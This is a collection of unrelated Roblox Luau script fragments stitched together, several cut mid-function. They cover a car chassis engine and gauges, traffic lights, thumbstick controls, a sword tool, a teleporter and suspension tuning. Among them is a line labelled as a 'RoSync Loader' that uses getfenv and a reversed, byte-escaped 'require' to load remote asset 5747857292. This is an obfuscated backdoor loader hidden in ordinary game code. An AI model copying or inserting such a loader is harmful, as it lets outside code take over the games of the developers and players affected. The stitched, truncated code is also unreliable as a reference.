local aRPM = math.max(math.min(maxSpin*_Tune.Ratios[_CGear+2]*fFDr,_Tune.Redline+100),revMin)
local clutchP = math.min(math.abs(aRPM-_RPM)/_Tune.ClutchTol,.9)
_RPM = _RPM*clutchP + aRPM*(1-clutchP)
else
if _GThrot-(_Tune.IdleThrottle/100)>0 then
if _RPM>_Tune.Redline then
_RPM = _RPM-_Tune.RevBounce*2
else
_RPM = math.min(_RPM+_Tune.RevAccel*_GThrot,_Tune.Redline+100)
end
else
_RPM = math.max(_RPM-_Tune.RevDecay,revMin)
end
end
--Rev Limiter
_spLimit = (_Tune.Redline+100)/(fFDr*_Tune.Ratios[_CGear+2])
if _RPM>_Tune.Redline then
if _CGear<#_Tune.Ratios-2 then
_RPM = _RPM-_Tune.RevBounce
else
_RPM = _RPM-_Tune.RevBounce*.5
end
end
end
--Apply Power
function Engine()
--Get Torque
local maxSpin=0
for i,v in pairs(Drive) do
if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end
end
if _ClutchOn then
if CacheTorque then
local cTq = HPCache[_CGear+2][math.floor(math.min(_Tune.Redline,math.max(_Tune.IdleRPM,_RPM))/HPInc)]
_HP = cTq.Horsepower+(cTq.HpSlope*(_RPM-math.floor(_RPM/HPInc))/1000)
_OutTorque = cTq.Torque+(cTq.TqSlope*(_RPM-math.floor(_RPM/HPInc))/1000)
else
_HP,_OutTorque = GetCurve(_RPM,_CGear)
end
local iComp =(car.DriveSeat.CFrame.lookVector.y)*cGrav
if _CGear==-1 then iComp=-iComp end
_OutTorque = _OutTorque*math.max(.3,(.3+iComp))--here dum dum
else
_HP,_OutTorque = 0,0
end
--Automatic Transmission
if _TMode == "Auto" and _IsOn then
_ClutchOn = true
if _CGear == 0 then _CGear = 1 end
if _CGear >= 1 then
if _CGear==1 and _GBrake > 0 and car.DriveSeat.Velocity.Magnitude < 0 then
_CGear = -1
else
if _Tune.AutoShiftMode == "RPM" then
if _RPM>(_Tune.PeakRPM+_Tune.AutoUpThresh) then
_CGear=math.min(_CGear+1,#_Tune.Ratios-2)
elseif math.max(math.min(maxSpin*_Tune.Ratios[_CGear+1]*fFDr,_Tune.Redline+100),_Tune.IdleRPM)<(_Tune.PeakRPM-_Tune.AutoDownThresh) then
_CGear=math.max(_CGear-1,1)
end
else
if car.DriveSeat.Velocity.Magnitude > math.ceil(wDRatio*(_Tune.PeakRPM+_Tune.AutoUpThresh)/_Tune.Ratios[_CGear+2]/fFD) then
_CGear=math.min(_CGear+1,#_Tune.Ratios-2)
elseif car.DriveSeat.Velocity.Magnitude < math.ceil(wDRatio*(_Tune.PeakRPM-_Tune.AutoDownThresh)/_Tune.Ratios[_CGear+1]/fFD) then
_CGear=math.max(_CGear-1,1)
end
end
end
else
if _GThrot-(_Tune.IdleThrottle/100) > 0 and car.DriveSeat.Velocity.Magnitude < 0 then
_CGear = 1
end
end
end
--Average Rotational Speed Calculation
local fwspeed=0
local fwcount=0
local rwspeed=0
local rwcount=0
for i,v in pairs(car.Wheels:GetChildren()) do
if v.Name=="FL" or v.Name=="FR" or v.Name == "F" then
fwspeed=fwspeed+v.RotVelocity.Magnitude
fwcount=fwcount+1
elseif v.Name=="RL" or v.Name=="RR" or v.Name == "R" then
rwspeed=rwspeed+v.RotVelocity.Magnitude
rwcount=rwcount+1
end
end
fwspeed=fwspeed/fwcount
rwspeed=rwspeed/rwcount
local cwspeed=(fwspeed+rwspeed)/2
--Update Wheels
for i,v in pairs(car.Wheels:GetChildren()) do
--Reference Wheel Orientation
local Ref=(CFrame.new(v.Position-((v.Arm.CFrame*cfWRot).lookVector),v.Position)*cfYRot).lookVector
local aRef=1
local diffMult=1
if v.Name=="FL" or v.Name=="RL" then aRef=-1 end
--AWD Torque Scaling
if _Tune.Config == "AWD" then _OutTorque = _OutTorque*rtTwo end
--Differential/Torque-Vectoring
if v.Name=="FL" or v.Name=="FR" then
diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-fwspeed)/fwspeed)/(math.max(_Tune.FDiffSlipThres,1)/100))*((_Tune.FDiffLockThres-50)/50))))
if _Tune.Config == "AWD" then
diffMult=math.max(0,math.min(1,diffMult*(1+((((fwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50)))))
end
elseif v.Name=="RL" or v.Name=="RR" then
diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-rwspeed)/rwspeed)/(math.max(_Tune.RDiffSlipThres,1)/100))*((_Tune.RDiffLockThres-50)/50))))
if _Tune.Config == "AWD" then
diffMult=math.max(0,math.min(1,diffMult*(1+((((rwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50)))))
end
end
_TCSActive = false
_ABSActive = false
--Output
if _PBrake and ((_Tune.Config ~= "FWD" and (((v.Name=="FL" or v.Name=="FR") and car.DriveSeat.Velocity.Magnitude<20) or ((v.Name=="RR" or v.Name=="RL") and car.DriveSeat.Velocity.Magnitude>=20))) or (_Tune.Config == "FWD" and (v.Name=="RR" or v.Name=="RL"))) then
--PBrake
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*PBrakeForce
v["#AV"].angularvelocity=Vector3.new()
else
--Apply Power
if ((_TMode == "Manual" or _TMode == "Semi") and _GBrake==0) or (_TMode == "Auto" and ((_CGear>-1 and _GBrake==0 ) or (_CGear==-1 and _GThrot-(_Tune.IdleThrottle/100)==0 )))then
local driven = false
for _,a in pairs(Drive) do if a==v then driven = true end end
if driven then
local on=1
if not car.DriveSeat.IsOn.Value then on=0 end
local throt = _GThrot
if _TMode == "Auto" and _CGear==-1 then throt = _GBrake end
--Apply TCS
local tqTCS = 1
if _TCS then
tqTCS = 1-(math.min(math.max(0,math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.TCSThreshold)/_Tune.TCSGradient,1)*(1-(_Tune.TCSLimit/100)))
end
if tqTCS < 1 then
_TCSActive = true
end
--Update Forces
local dir = 1
if _CGear==-1 then dir = -1 end
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*_OutTorque*(1+(v.RotVelocity.Magnitude/60)^1.15)*throt*tqTCS*diffMult*on
v["#AV"].angularvelocity=Ref*aRef*_spLimit*dir
else
v["#AV"].maxTorque=Vector3.new()
v["#AV"].angularvelocity=Vector3.new()
end
--Brakes
else
local brake = _GBrake
if _TMode == "Auto" and _CGear==-1 then brake = _GThrot end
--Apply ABS
local tqABS = 1
if _ABS and math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.ABSThreshold>0 then
tqABS = 0
end
if tqABS < 1 then
_ABSActive = true
end
--Update Forces
if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*FBrakeForce*brake*tqABS
else
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*RBrakeForce*brake*tqABS
end
v["#AV"].angularvelocity=Vector3.new()
end
end
end
end
|
-- for scene switching specifically
|
local waitForOrchestra = {}
waitForOrchestra.task = task
function waitForOrchestra:call()
while
not SceneFramework:GetAttribute(enums.Attribute.FrameworkReady)
or not Conductor:GetAttribute(enums.Attribute.FrameworkReady)
do
waitForOrchestra.task.wait()
end
end
return waitForOrchestra
|
--[=[
@param name string
@param fn (player: Player, ...: any) -> ...: any
@param inboundMiddleware ServerMiddleware?
@param outboundMiddleware ServerMiddleware?
@return RemoteFunction
Creates a RemoteFunction and binds the given function to it. Inbound
and outbound middleware can be applied if desired.
]=]
|
function ServerComm:BindFunction(name: string, func: FnBind, inboundMiddleware: ServerMiddleware?, outboundMiddleware: ServerMiddleware?): RemoteFunction
return Comm.Server.BindFunction(self._instancesFolder, name, func, inboundMiddleware, outboundMiddleware)
end
|
--FLASH MODE--
--Flashing Red
|
while true do
script.Parent.Parent.SignalValues.Signal1.Value = 3
script.Parent.Parent.SignalValues.Signal1a.Value = 3
script.Parent.Parent.SignalValues.Signal2.Value = 3
script.Parent.Parent.SignalValues.Signal2a.Value = 3
script.Parent.Parent.TurnValues.TurnSignal1.Value = 3
script.Parent.Parent.TurnValues.TurnSignal1a.Value = 3
script.Parent.Parent.TurnValues.TurnSignal2.Value = 3
script.Parent.Parent.TurnValues.TurnSignal2a.Value = 3
script.Parent.Parent.PedValues.PedSignal1.Value = 0
script.Parent.Parent.PedValues.PedSignal1a.Value = 0
script.Parent.Parent.PedValues.PedSignal2.Value = 0
script.Parent.Parent.PedValues.PedSignal2a.Value = 0
wait(.5)
script.Parent.Parent.SignalValues.Signal1.Value = 0
script.Parent.Parent.SignalValues.Signal1a.Value = 0
script.Parent.Parent.SignalValues.Signal2.Value = 0
script.Parent.Parent.SignalValues.Signal2a.Value = 0
script.Parent.Parent.TurnValues.TurnSignal1.Value = 0
script.Parent.Parent.TurnValues.TurnSignal1a.Value = 0
script.Parent.Parent.TurnValues.TurnSignal2.Value = 0
script.Parent.Parent.TurnValues.TurnSignal2a.Value = 0
script.Parent.Parent.PedValues.PedSignal1.Value = 0
script.Parent.Parent.PedValues.PedSignal1a.Value = 0
script.Parent.Parent.PedValues.PedSignal2.Value = 0
script.Parent.Parent.PedValues.PedSignal2a.Value = 0
wait(.5)
end
|
--GAMEPASS--OR--DevProduct--
|
local DevProduct = DevProduct
|
-- Functions
|
function MapManager:SaveMap()
for _, child in ipairs(game.Workspace:GetChildren()) do
if not child:IsA('Camera') and not child:IsA('Terrain') and not child:IsA('Folder') then
local copy = child:Clone()
if copy then
copy.Parent = MapSave
end
end
end
end
function MapManager:ClearMap()
for _, child in ipairs(game.Workspace:GetChildren()) do
if not child:IsA('Camera') and not child:IsA('Terrain') and not child:IsA('Folder') then
child:Destroy()
end
end
end
function MapManager:LoadMap()
spawn(function()
for _, child in ipairs(MapSave:GetChildren()) do
local copy = child:Clone()
copy.Parent = game.Workspace
end
end)
end
return MapManager
|
--[[
Mouse.Button1Down:Connect(function(processed)
if Attacking == true or Blocking == true or processed then return end
Attacking = true
if CurrentCombo == 1 then
LeftPunch:Play()
CurrentCombo = 2
game.ReplicatedStorage.CombatSystem.Punching:FireServer()
else
RightPunch:Play()
CurrentCombo = 1
game.ReplicatedStorage.CombatSystem.Punching:FireServer()
end
wait(0.6)
Attacking = false
end)
Mouse.Button2Down:Connect(function(processed)
if Attacking == true or processed then return end
Block:Play()
Blocking = true
end)
Mouse.Button2Up:Connect(function(processed)
if Attacking == true or processed then return end
Block:Stop()
Blocking = false
end)
]]
| |
-- Note: Overrides base class GetIsJumping with get-and-clear behavior to do a single jump
-- rather than sustained jumping. This is only to preserve the current behavior through the refactor.
|
function DynamicThumbstick:GetIsJumping()
local wasJumping = self.isJumping
self.isJumping = false
return wasJumping
end
function DynamicThumbstick:Enable(enable, uiParentFrame)
if enable == nil then return false end -- If nil, return false (invalid argument)
enable = enable and true or false -- Force anything non-nil to boolean before comparison
if self.enabled == enable then return true end -- If no state change, return true indicating already in requested state
if enable then
-- Enable
if not self.thumbstickFrame then
self:Create(uiParentFrame)
end
self:BindContextActions()
else
ContextActionService:UnbindAction(DYNAMIC_THUMBSTICK_ACTION_NAME)
-- Disable
self:OnInputEnded() -- Cleanup
end
self.enabled = enable
self.thumbstickFrame.Visible = enable
end
|
--Main Control------------------------------------------------------------------------
|
Red = script.Parent.Red.Lamp
Yellow = script.Parent.Yellow.Lamp
Green = script.Parent.Green.Lamp
DRed = script.Parent.Red.DynamicLight
DYellow = script.Parent.Yellow.DynamicLight
DGreen = script.Parent.Green.DynamicLight
function Active()
if Signal.Value == 0 then
Green.Enabled = false
Yellow.Enabled = false
Red.Enabled = false
DGreen.Enabled = false
DYellow.Enabled = false
DRed.Enabled = false
elseif Signal.Value == 1 then
Green.Enabled = true
Yellow.Enabled = false
Red.Enabled = false
DGreen.Enabled = true
DYellow.Enabled = false
DRed.Enabled = false
elseif Signal.Value == 2 then
Green.Enabled = false
Yellow.Enabled = true
Red.Enabled = false
DGreen.Enabled = false
DYellow.Enabled = true
DRed.Enabled = false
elseif Signal.Value == 3 then
Green.Enabled = false
Yellow.Enabled = false
Red.Enabled = true
DGreen.Enabled = false
DYellow.Enabled = false
DRed.Enabled = true
end
end
Signal.Changed:connect(Active)
|
--[=[
Converts a Promise into an observable.
https://rxjs-dev.firebaseapp.com/api/index/function/from
@param promise Promise<T>
@return Observable<T>
]=]
|
function Rx.fromPromise(promise)
assert(Promise.isPromise(promise))
return Observable.new(function(sub)
if promise:IsFulfilled() then
sub:Fire(promise:Wait())
sub:Complete()
return nil
end
local maid = Maid.new()
local pending = true
maid:GiveTask(function()
pending = false
end)
promise:Then(
function(...)
if pending then
sub:Fire(...)
sub:Complete()
end
end,
function(...)
if pending then
sub:Fail(...)
sub:Complete()
end
end)
return maid
end)
end
|
--Put it in startercharacterscripts
|
local runService = game:GetService("RunService")
local character = script.Parent
local humanoid = character:WaitForChild("Humanoid")
local TS = game:GetService("TweenService")
function updateBobbleEffect()
local currentTime = tick()
if humanoid.MoveDirection.Magnitude > 0 then -- we are walking
local bobbleX = math.cos(currentTime * 5.6) * .5
local bobbleY = math.abs(math.sin(currentTime * 5.6)) * .5
local bobble = Vector3.new(bobbleX, bobbleY, -.45)
TS:Create(humanoid, TweenInfo.new(.1), {CameraOffset = humanoid.CameraOffset:lerp(bobble, .35)}):Play()
else -- we are not walking
TS:Create(humanoid, TweenInfo.new(.1), {CameraOffset = Vector3.new(0, 0, -.45)}):Play()
end
end
runService.RenderStepped:Connect(updateBobbleEffect)
|
--Creates a display Gui for the soft shutdown.
|
return function()
local ScreenGui = Instance.new("ScreenGui")
ScreenGui.Name = "SoftShutdownGui"
ScreenGui.DisplayOrder = 100
--Create background to cover behind top bar.
local Frame = Instance.new("Frame")
Frame.BackgroundColor3 = Color3.new(0.188235, 0.188235, 0.188235)
Frame.Position = UDim2.new(-0.5,0,-0.5,0)
Frame.Size = UDim2.new(2,0,2,0)
Frame.ZIndex = 10
Frame.Parent = ScreenGui
local function CreateTextLabel(Size,Position,Text)
local TextLabel = Instance.new("TextLabel")
TextLabel.BackgroundTransparency = 1
TextLabel.Size = Size
TextLabel.Position = Position
TextLabel.Text = Text
TextLabel.ZIndex = 10
TextLabel.Font = "SourceSansBold"
TextLabel.TextScaled = true
TextLabel.TextColor3 = Color3.new(1,1,1)
TextLabel.TextStrokeColor3 = Color3.new(0,0,0)
TextLabel.TextStrokeTransparency = 0
TextLabel.Parent = Frame
end
--Create text.
CreateTextLabel(UDim2.new(0.5,0,0.1,0),UDim2.new(0.25,0,0.4,0),"SHUTDOWN")
CreateTextLabel(UDim2.new(0.5,0,0.05,0),UDim2.new(0.25,0,0.475,0),"This server is shutting down.")
CreateTextLabel(UDim2.new(0.5,0,0.03,0),UDim2.new(0.25,0,0.55,0),"Please wait while we teleport you to a new server.")
--Return the ScreenGui and the background.
return ScreenGui,Frame
end
|
--[=[
@class PromiseInstanceUtils
]=]
|
local require = require(script.Parent.loader).load(script)
local Promise = require("Promise")
local Maid = require("Maid")
local PromiseInstanceUtils = {}
|
-- / Gun / --
|
local Gun = script.Parent.Parent
local BodyAttach = Gun.Handle
|
------------------------------------
|
function onTouched(part)
if part.Parent ~= nil then
local h = part.Parent:findFirstChild("Humanoid")
if h~=nil then
local teleportfrom=script.Parent.Enabled.Value
if teleportfrom~=0 then
if h==humanoid then
return
end
local teleportto=script.Parent.Parent:findFirstChild(modelname)
if teleportto~=nil then
local torso = h.Parent.Torso
local location = {teleportto.Position}
local i = 1
local x = location[i].x
local y = location[i].y
local z = location[i].z
x = x + math.random(-1, 1)
z = z + math.random(-1, 1)
y = y + math.random(2, 3)
local cf = torso.CFrame
local lx = 0
local ly = y
local lz = 0
script.Parent.Enabled.Value=0
teleportto.Enabled.Value=0
torso.CFrame = CFrame.new(Vector3.new(x,y,z), Vector3.new(lx,ly,lz))
wait(3)
script.Parent.Enabled.Value=1
teleportto.Enabled.Value=1
else
print("Could not find teleporter!")
end
end
end
end
end
script.Parent.Touched:connect(onTouched)
|
--[[ss1.Touched:connect(function()
if IsOpen.Value == false then
OtherDir.Value = false
opendoor()
wait(TimeDelay)
closedoor()
end
end)]]
|
trigger.Changed:Connect(function()
if InUse.Value == false then
if trigger.Value == true and IsOpen.Value == false then
opendoor()
elseif trigger.Value == false and IsOpen.Value == true then
closedoor()
end
end
end)
|
-- TODO: Optimize this for vertical faces
|
function BitOps.setFaceConnectivity(connectivity, face, faceBits)
local horizontalFace = face.Y ~= 0
for listIndex, bitmaskIndex in ipairs(BitOps.CONNECTIVITY_INDEXES_FOR_FACE[tostring(BitOps.normalizeVec3(face))]) do
if horizontalFace then
connectivity = bit32.replace(connectivity, bit32.extract(faceBits, 7 - (listIndex - 1)), bitmaskIndex)
else
connectivity = bit32.replace(connectivity, bit32.extract(faceBits, 8 - (listIndex - 1)), bitmaskIndex)
end
end
return connectivity
end
|
-------- OMG HAX
|
r = game:service("RunService")
local damage = 5
local slash_damage = 8
local lunge_damage = 39
sword = script.Parent.Handle
Tool = script.Parent
local SlashSound = Instance.new("Sound")
SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
SlashSound.Parent = sword
SlashSound.Volume = .7
local LungeSound = Instance.new("Sound")
LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
LungeSound.Parent = sword
LungeSound.Volume = .6
local UnsheathSound = Instance.new("Sound")
UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
UnsheathSound.Parent = sword
UnsheathSound.Volume = 1
function blow(hit)
local humanoid = hit.Parent:findFirstChild("Humanoid")
local vCharacter = Tool.Parent
local vPlayer = game.Players:playerFromCharacter(vCharacter)
local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character
if humanoid~=nil and humanoid ~= hum and hum ~= nil then
-- final check, make sure sword is in-hand
local right_arm = vCharacter:FindFirstChild("Right Arm")
if (right_arm ~= nil) then
local joint = right_arm:FindFirstChild("RightGrip")
if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
tagHumanoid(humanoid, vPlayer)
humanoid:TakeDamage(damage)
wait(1)
untagHumanoid(humanoid)
end
end
end
end
function tagHumanoid(humanoid, player)
local creator_tag = Instance.new("ObjectValue")
creator_tag.Value = player
creator_tag.Name = "creator"
creator_tag.Parent = humanoid
end
function untagHumanoid(humanoid)
if humanoid ~= nil then
local tag = humanoid:findFirstChild("creator")
if tag ~= nil then
tag.Parent = nil
end
end
end
function attack()
damage = slash_damage
SlashSound:play()
local anim = Instance.new("StringValue")
anim.Name = "toolanim"
anim.Value = "Slash"
anim.Parent = Tool
end
function lunge()
damage = lunge_damage
LungeSound:play()
local anim = Instance.new("StringValue")
anim.Name = "toolanim"
anim.Value = "Lunge"
anim.Parent = Tool
force = Instance.new("BodyVelocity")
force.velocity = Vector3.new(0,10,0) --Tool.Parent.Torso.CFrame.lookVector * 80
force.Parent = Tool.Parent.Torso
wait(.25)
swordOut()
wait(.25)
force.Parent = nil
wait(.5)
swordUp()
damage = slash_damage
end
function swordUp()
Tool.GripForward = Vector3.new(-1,0,0)
Tool.GripRight = Vector3.new(0,1,0)
Tool.GripUp = Vector3.new(0,0,1)
end
function swordOut()
Tool.GripForward = Vector3.new(0,0,1)
Tool.GripRight = Vector3.new(0,-1,0)
Tool.GripUp = Vector3.new(-1,0,0)
end
function swordAcross()
-- parry
end
Tool.Enabled = true
local last_attack = 0
function onActivated()
if not Tool.Enabled then
return
end
Tool.Enabled = false
local character = Tool.Parent;
local humanoid = character.Humanoid
if humanoid == nil then
print("Humanoid not found")
return
end
t = r.Stepped:wait()
if (t - last_attack < .2) then
lunge()
else
attack()
end
last_attack = t
--wait(.5)
Tool.Enabled = true
end
function onEquipped()
UnsheathSound:play()
end
script.Parent.Activated:connect(onActivated)
script.Parent.Equipped:connect(onEquipped)
connection = sword.Touched:connect(blow)
|
---------
-- Remote logging is disabled by default
|
Log.SetRemoteFilterFunc(_remoteFilterEverything)
if RunService:IsClient() then
_remoteEvent = ReplicatedStorage:WaitForChild(_EVENT_NAME)
else
_remoteEvent = Instance.new('RemoteEvent', ReplicatedStorage)
_remoteEvent.Name = _EVENT_NAME
_remoteEvent.OnServerEvent:Connect(onClientLogging)
end
|
------------------------------------------------------------------------
-- size and position of opcode arguments.
-- * WARNING size and position is hard-coded elsewhere in this script
------------------------------------------------------------------------
|
luaP.SIZE_C = 9
luaP.SIZE_B = 9
luaP.SIZE_Bx = luaP.SIZE_C + luaP.SIZE_B
luaP.SIZE_A = 8
luaP.SIZE_OP = 6
luaP.POS_OP = 0
luaP.POS_A = luaP.POS_OP + luaP.SIZE_OP
luaP.POS_C = luaP.POS_A + luaP.SIZE_A
luaP.POS_B = luaP.POS_C + luaP.SIZE_C
luaP.POS_Bx = luaP.POS_C
|
--Front Suspension
|
Tune.FSusDamping = 500 -- Spring Dampening
Tune.FSusStiffness = 8000 -- Spring Force
Tune.FSusLength = 2 -- Suspension length (in studs)
Tune.FSusMaxExt = .3 -- Max Extension Travel (in studs)
Tune.FSusMaxComp = .1 -- Max Compression Travel (in studs)
Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.FWsBoneLen = 5 -- Wishbone Length
Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
|
--[[Weight and CG]]
|
Tune.Weight = 3100 -- Total weight (in pounds)
Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable)
--[[Width]] 6 ,
--[[Height]] 1 ,
--[[Length]] 14 }
Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
Tune.CGHeight = -2 -- Center of gravity height (studs relative to median of all wheels)
Tune.WBVisible = false -- Makes the weight brick visible
--Unsprung Weight
Tune.FWheelDensity = .1 -- Front Wheel Density
Tune.RWheelDensity = .1 -- Rear Wheel Density
Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF]
Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF]
Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight)
Tune.AxleDensity = .1 -- Density of structural members
|
--[[ Last synced 10/14/2020 09:14 || RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
|
--// Reposition player
|
if child.Part1.Name == "HumanoidRootPart" then
player = game.Players:GetPlayerFromCharacter(child.Part1.Parent)
if player and (not player.PlayerGui:FindFirstChild("Screen")) then --// The part after the "and" prevents multiple GUI's to be copied over.
GUI.CarSeat.Value = script.Parent --// Puts a reference of the seat in this ObjectValue, now you can use this ObjectValue's value to find the car directly.
GUI:Clone().Parent = player.PlayerGui --// Compact version
script.Parent.Startup:Play()
end
end
end
end)
script.Parent.ChildRemoved:connect(function(child)
if child:IsA("Weld") then
if child.Part1.Name == "HumanoidRootPart" then
script.Parent.Parent.Parent.RWD.MaxSpeed = 0
script.Parent.Parent.Parent.RWD.Throttle = 0
script.Parent.Parent.Parent.RWD.Torque = 20
script.Parent.Parent.Parent.LW.VS.MaxSpeed = 0
script.Parent.Parent.Parent.LW.VS.Throttle = 0
script.Parent.Parent.Parent.LW.VS.Torque = 20
script.Parent.Parent.Parent.RW.VS.MaxSpeed = 0
script.Parent.Parent.Parent.RW.VS.Throttle = 0
script.Parent.Parent.Parent.RW.VS.Torque = 20
script.Parent.Sound:Stop()
player = game.Players:GetPlayerFromCharacter(child.Part1.Parent)
if player and player.PlayerGui:FindFirstChild("Screen") then
player.PlayerGui:FindFirstChild("Screen"):Destroy()
end
end
end
end)
|
--[=[
Constructs a new Signal that wraps around an RBXScriptSignal.
@param rbxScriptSignal RBXScriptSignal -- Existing RBXScriptSignal to wrap
@return Signal
For example:
```lua
local signal = Signal.Wrap(workspace.ChildAdded)
signal:Connect(function(part) print(part.Name .. " added") end)
Instance.new("Part").Parent = workspace
```
]=]
|
function Signal.Wrap(rbxScriptSignal)
assert(typeof(rbxScriptSignal) == "RBXScriptSignal", "Argument #1 to Signal.Wrap must be a RBXScriptSignal; got " .. typeof(rbxScriptSignal))
local signal = Signal.new()
signal._proxyHandler = rbxScriptSignal:Connect(function(...)
signal:Fire(...)
end)
return signal
end
|
--Automatic Gauge Scaling
|
if autoscaling then
local Drive={}
if _Tune.Config == "FWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("FL")~= nil then
table.insert(Drive,car.Wheels.FL)
end
if car.Wheels:FindFirstChild("FR")~= nil then
table.insert(Drive,car.Wheels.FR)
end
if car.Wheels:FindFirstChild("F")~= nil then
table.insert(Drive,car.Wheels.F)
end
end
if _Tune.Config == "RWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("RL")~= nil then
table.insert(Drive,car.Wheels.RL)
end
if car.Wheels:FindFirstChild("RR")~= nil then
table.insert(Drive,car.Wheels.RR)
end
if car.Wheels:FindFirstChild("R")~= nil then
table.insert(Drive,car.Wheels.R)
end
end
local wDia = 0
for i,v in pairs(Drive) do
if v.Size.x>wDia then wDia = v.Size.x end
end
Drive = nil
for i,v in pairs(UNITS) do
v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive)
v.spInc = math.max(math.ceil(v.maxSpeed/200)*20,20)
end
end
for i=0,revEnd*2 do
local ln = script.Parent.ln:clone()
ln.Parent = script.Parent.Tach
ln.Rotation = 45 + i * 225 / (revEnd*2)
ln.Num.Text = i/2
ln.Num.Rotation = -ln.Rotation
if i*500>=math.floor(_pRPM/500)*500 then
ln.Frame.BackgroundColor3 = Color3.new(1,0,0)
if i<revEnd*2 then
ln2 = ln:clone()
ln2.Parent = script.Parent.Tach
ln2.Rotation = 45 + (i+.5) * 225 / (revEnd*2)
ln2.Num:Destroy()
ln2.Visible=true
end
end
if i%2==0 then
ln.Frame.Size = UDim2.new(0,3,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,100)
ln.Num.Visible = true
else
ln.Num:Destroy()
end
ln.Visible=true
end
local lns = Instance.new("Frame",script.Parent.Speedo)
lns.Name = "lns"
lns.BackgroundTransparency = 1
lns.BorderSizePixel = 0
lns.Size = UDim2.new(0,0,0,0)
for i=1,90 do
local ln = script.Parent.ln:clone()
ln.Parent = lns
ln.Rotation = 45 + 225*(i/90)
if i%2==0 then
ln.Frame.Size = UDim2.new(0,2,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,100)
else
ln.Frame.Size = UDim2.new(0,3,0,5)
end
ln.Num:Destroy()
ln.Visible=true
end
for i,v in pairs(UNITS) do
local lnn = Instance.new("Frame",script.Parent.Speedo)
lnn.BackgroundTransparency = 1
lnn.BorderSizePixel = 0
lnn.Size = UDim2.new(0,0,0,0)
lnn.Name = v.units
if i~= 1 then lnn.Visible=false end
for i=0,v.maxSpeed,v.spInc do
local ln = script.Parent.ln:clone()
ln.Parent = lnn
ln.Rotation = 45 + 225*(i/v.maxSpeed)
ln.Num.Text = i
ln.Num.TextSize = 14
ln.Num.Rotation = -ln.Rotation
ln.Frame:Destroy()
ln.Num.Visible=true
ln.Visible=true
end
end
if script.Parent.Parent.IsOn.Value then
script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
script.Parent.Parent.IsOn.Changed:connect(function()
if script.Parent.Parent.IsOn.Value then
script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
end)
script.Parent.Parent.Values.RPM.Changed:connect(function()
script.Parent.Tach.Needle.Rotation = 45 + 225 * math.min(1,script.Parent.Parent.Values.RPM.Value / (revEnd*1000))
end)
script.Parent.Parent.Values.Gear.Changed:connect(function()
local gearText = script.Parent.Parent.Values.Gear.Value
if gearText == 0 then gearText = "N"
elseif gearText == -1 then gearText = "R"
end
script.Parent.Gear.Text = gearText
end)
script.Parent.Parent.Values.TCS.Changed:connect(function()
if _Tune.TCSEnabled then
if script.Parent.Parent.Values.TCS.Value then
script.Parent.TCS.TextColor3 = Color3.new(1,170/255,0)
script.Parent.TCS.TextStrokeColor3 = Color3.new(1,170/255,0)
if script.Parent.Parent.Values.TCSActive.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
else
wait()
script.Parent.TCS.Visible = false
end
else
script.Parent.TCS.Visible = true
script.Parent.TCS.TextColor3 = Color3.new(1,0,0)
script.Parent.TCS.TextStrokeColor3 = Color3.new(1,0,0)
end
else
script.Parent.TCS.Visible = false
end
end)
script.Parent.Parent.Values.TCSActive.Changed:connect(function()
if _Tune.TCSEnabled then
if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
elseif not script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = true
else
wait()
script.Parent.TCS.Visible = false
end
else
script.Parent.TCS.Visible = false
end
end)
script.Parent.TCS.Changed:connect(function()
if _Tune.TCSEnabled then
if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
elseif not script.Parent.Parent.Values.TCS.Value then
wait()
